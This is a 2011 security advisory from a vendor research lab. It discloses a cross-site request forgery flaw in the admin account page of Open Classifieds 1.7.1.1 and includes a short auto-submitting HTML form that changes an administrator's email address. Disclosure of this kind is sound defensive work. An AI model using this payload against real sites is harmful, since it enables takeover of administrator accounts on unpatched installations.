Cross-site Request Forgery (CSRF) in Open Classifieds

Advisory ID:HTB22980
Product:Open Classifieds
Vendor:Open Classifieds Team
Vulnerable Versions:1.7.1.1 and probably prior
Tested Version:1.7.1.1
Advisory Publication:April 28, 2011 [without technical details]
Vendor Notification:April 28, 2011
Public Disclosure:May 12, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Open Classifieds which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Open Classifieds
The vulnerability exists due to insufficient validation of the request origin in admin/accounts.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s email address.
Exploitation example:
<form action="http://host/admin/accounts.php" method="post" name="main">
<input type="hidden" name="name" value="myaccount">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="account" value="">
<input type="hidden" name="action" value="new">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22980 - https://www.immuniweb.com/advisory/HTB22980 - Cross-site Request Forgery (CSRF) in Open Classifieds
[2] Open Classifieds - open-classifieds.com - Open Classifieds is web software you can use to create a beautiful classifieds or listings.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Products
Free Trial
Newsletter